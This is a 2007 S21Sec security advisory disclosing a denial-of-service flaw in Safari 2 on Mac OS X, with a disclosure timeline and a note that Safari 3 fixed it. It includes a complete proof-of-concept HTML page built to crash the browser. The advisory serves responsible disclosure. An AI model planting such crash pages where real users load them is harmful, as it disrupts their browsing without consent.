Safari 2 Denial of Service
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- S21Sec Advisory -
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Title: Safari 2 Denial of Service
ID: S21SEC-039-en
Severity: Medium - Remote DoS
History: 15.Jul.2007 Vulnerability discovered
22.Jul.2007 Vendor contacted
27.Jul.2007 Vendor confirmed the vulnerability
26.Oct.2007 Safari 3 in Leopard
14.Nov.2007 Safari 3 in Tiger
Scope: Remote Denial of Service
Platforms: MacOSX
Author: David Barroso (dbarroso@xxxxxxxxxx)
URL: http://www.s21sec.com/avisos/s21sec-039-en.txt
Release: Public
[ SUMMARY ]
According to Wikipedia, Safari is a web browser developed by Apple Inc.
and included in Mac OS X.
It was first released as a public beta on January 7, 2003, as the default
browser in Mac OS X v10.3. A beta version for Microsoft Windows was
released for the first time on June 11, 2007 with support for Windows XP
and Windows Vista
[ AFFECTED VERSIONS ]
Following versions are affected with this issue:
- Safari Version 2 (MacOSX Version)
[ DESCRIPTION ]
A crafted HTML page can make Safari crash when trying to parse the page
due to an unproper validation in the KHTML Webkit.
Example:
<html>
<head>
<title>Safari Exploit</title>
</head>
<body>
<form>
<div id="foo" style="display:none;">
<table>
<tr>
<td></td>
</tr>
</table>
</div>
<input type="text" />
</form>
</body>
</html>
[ WORKAROUND ]
The vulnerability was patched in Safari 3, officially released on October,
2007 (Leopard) and November, 2007 (Tiger).
[ ACKNOWLEDGMENTS ]
This vulnerability have been found and researched by:
- David Barroso <dbarroso@xxxxxxxxxx> S21sec labs
[ REFERENCES ]
* Wikipedia. Safari
http://en.wikipedia.org/wiki/Safari_%28web_browser%29
* Safari
http://www.apple.com/safari/
* S21Sec
http://www.s21sec.com
* Blog S21sec
http://blog.s21sec.com